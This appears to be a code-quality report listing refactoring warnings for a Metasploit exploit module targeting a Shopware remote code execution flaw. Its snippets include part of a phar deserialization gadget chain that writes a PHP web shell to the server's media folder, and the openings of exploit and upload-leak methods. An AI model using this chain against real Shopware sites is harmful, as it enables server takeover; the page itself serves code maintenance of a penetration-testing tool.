rapid7/metasploit-framework

View on GitHub
modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb

Summary

Maintainability
C
7 hrs
Test Coverage

File shopware_createinstancefromnamedarguments_rce.rb has 262 lines of code (exceeds 250 allowed). Consider refactoring.
Open

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

    Method generate_phar has 38 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def generate_phar(webroot)
        php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
        register_file_for_cleanup("#{@shll_bd}.php")
        pop  = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
        pop << "s:#{php.length}:\"#{php}\";"

      Method initialize has 36 lines of code (exceeds 25 allowed). Consider refactoring.
      Open

        def initialize(info = {})
          super(update_info(info,
            'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
            'Description' => %q(
              This module exploits a php object instantiation vulnerability that can lead to RCE in

        Method exploit has 35 lines of code (exceeds 25 allowed). Consider refactoring.
        Open

          def exploit
            unless Exploit::CheckCode::Vulnerable == check
              fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
            end
            @phar_bd  = Rex::Text.rand_text_alpha_lower(8)

          Method exploit has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.
          Open

            def exploit
              unless Exploit::CheckCode::Vulnerable == check
                fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
              end
              @phar_bd  = Rex::Text.rand_text_alpha_lower(8)

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method leak_upload has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
          Open

            def leak_upload(cookie, csrf_token)
              res = send_request_cgi(
                'method' => 'GET',
                'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
                'cookie' => cookie,

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          There are no issues that match your filters.

          Category
          Status